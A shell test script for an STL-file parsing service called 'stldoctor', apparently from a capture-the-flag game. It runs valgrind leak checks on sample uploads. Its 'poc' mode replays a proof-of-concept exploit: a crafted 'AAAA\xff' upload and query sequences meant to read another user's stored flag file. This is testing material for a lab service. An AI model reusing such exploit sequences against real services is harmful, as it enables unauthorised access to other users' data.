blob: c9e5af39a54b9be5ac2fe94a8e6f46003cb9470f (
plain) (
blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
|
#!/bin/sh
set -e
# RUN_REMOTE=1
export RESULTDIR="../data/scans"
export ECHO_INPUT=1
announce() {
count=$(echo "$1" | wc -c)
python3 -c "
import math
s = '$1'
c = 80
print()
print('#'*c)
print('#' + ' '*math.floor((c - len(s))/2-1) + s + ' '*math.ceil((c - len(s))/2-1) + '#')
print('#'*c)
print()
"
}
checkleaks() {
valgrind --leak-check=full ./stldoctor 2>&1 | tee /tmp/testlog
if [ -z "$(grep "no leaks are possible" /tmp/testlog)" ]; then
echo "Valgrind exited with errors!"
exit 1
fi
}
connect() {
if [ $RUN_REMOTE ]; then
nc localhost 9000
else
./stldoctor
fi
}
if [ "$1" == "stl" ]; then
announce "Testing ASCII STL Parsing"
(
echo "submit"
cat tests/sample-ascii.stl | wc -c
cat tests/sample-ascii.stl
) | checkleaks
announce "Testing BIN STL Parsing"
(
echo "submit"
cat tests/sample-binary.stl | wc -c
cat tests/sample-binary.stl
echo "testname"
) | checkleaks
elif [ "$1" == "poc" ]; then
announce "Testing Proof-Of-Concept"
rm -rf "$RESULTDIR"/*
echo -e "\n--- Uploading target STL ---\n" 1>&2
(
echo "echo"
echo "submit"
cat tests/flag1.stl | wc -c
cat tests/flag1.stl
echo "exit"
) | connect
echo -e "\n--- Uploading evil STL ---\n" 1>&2
(
echo "echo"
echo "submit"
cat tests/evil1.stl | wc -c
cat tests/evil1.stl
echo -e "AAAA\xff"
echo "exit"
) | connect
echo -e "\n--- Testing Exploit ---\n" 1>&2
(
echo "echo"
# try index 0
echo "query"
echo -e "AAAA\xff"
echo "0"
echo "n"
echo "query"
echo "0"
echo "n"
# reset cached result
echo "submit"
echo "2"
echo "aa"
# try index 1
echo "query"
echo -e "AAAA\xff"
echo "0"
echo "n"
echo "query"
echo "1"
echo "n"
echo "exit"
) | connect
else
(
echo "submit"
echo "2"
echo "AA"
echo "AAAA"
echo "exit"
) | connect
fi
|
